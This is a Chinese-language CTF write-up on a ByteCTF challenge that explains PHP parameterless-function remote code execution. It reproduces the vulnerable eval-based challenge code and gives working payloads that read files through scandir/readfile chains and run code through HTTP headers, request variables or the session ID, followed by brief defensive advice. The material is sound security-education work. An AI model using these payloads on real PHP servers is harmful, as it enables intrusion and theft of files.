ByteCTF一道题的分析与学习PHP无参数函数的利用
字数 1643 2025-08-25 22:58:28
PHP无参数函数RCE利用技术详解
1. 背景介绍
PHP无参数函数RCE(远程代码执行)是一种特殊的代码执行技术,它通过利用PHP中不需要参数或可以通过嵌套调用获取参数的函数来实现代码执行。这种技术在CTF比赛和实际渗透测试中都有应用价值。
2. 示例代码分析
原始题目代码展示了典型的无参数函数限制场景:
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+$(?R)?$/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}
3. 限制条件分析
3.1 URL限制
- 必须通过URL验证(
FILTER_VALIDATE_URL) - 禁止使用
data://协议 - 主机名必须以
baidu.com结尾
3.2 代码限制
- 只能使用无参数函数或嵌套无参数函数
- 正则表达式
/[a-z]+$(?R)?$/限制函数格式 - 禁止使用包含
et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log的函数
4. 无参数函数利用技术
4.1 基础文件读取技术
4.1.1 读取当前目录文件
readfile(end(scandir(pos(localeconv()))));
localeconv(): 返回包含本地数字及货币格式信息的数组,第一个元素是"."pos()/current(): 获取数组第一个元素scandir(): 列出目录内容end(): 获取数组最后一个元素readfile(): 输出文件内容
4.1.2 读取上级目录文件
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));
chdir(): 改变当前目录next(): 获取数组第二个元素(通常是"..")
4.2 高级时间依赖技术
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
time(): 获取当前时间戳localtime(): 返回本地时间数组chr(46): 获取ASCII字符"."(46秒时)
5. 无参数RCE技术
5.1 利用HTTP头注入
5.1.1 Apache环境
eval(pos(getallheaders())); // 获取第一个Header
eval(end(getallheaders())); // 获取最后一个Header
eval(array_rand(array_flip(getallheaders()))); // 随机获取Header
5.1.2 通用环境
eval(pos(pos(end(get_defined_vars())))); // 利用$_FILES
eval(end(current(get_defined_vars()))); // 利用$_GET
5.2 利用Session ID
eval(hex2bin(session_id(session_start())));
6. 关键函数列表
| 函数类别 | 函数名称 | 用途 |
|---|---|---|
| 目录操作 | scandir() |
列出目录内容 |
chdir() |
改变当前目录 | |
getcwd() |
获取当前目录 | |
| 数组操作 | current()/pos() |
获取数组第一个元素 |
next() |
获取数组下一个元素 | |
end() |
获取数组最后一个元素 | |
array_rand() |
随机获取数组键名 | |
array_flip() |
交换键名和键值 | |
| 文件操作 | readfile() |
输出文件内容 |
| 字符操作 | chr() |
ASCII转字符 |
hex2bin() |
十六进制转二进制 | |
| 环境信息 | localeconv() |
获取本地化信息 |
localtime() |
获取本地时间 | |
getenv() |
获取环境变量 | |
| HTTP相关 | getallheaders() |
获取所有HTTP头 |
get_defined_vars() |
获取所有已定义变量 | |
| Session | session_id() |
获取/设置会话ID |
session_start() |
启动会话 |
7. 防御建议
- 避免直接执行用户输入的代码
- 限制可用的PHP函数范围
- 对特殊字符进行严格过滤
- 使用更严格的正则表达式限制函数调用格式
- 禁用危险函数如
eval()、system()等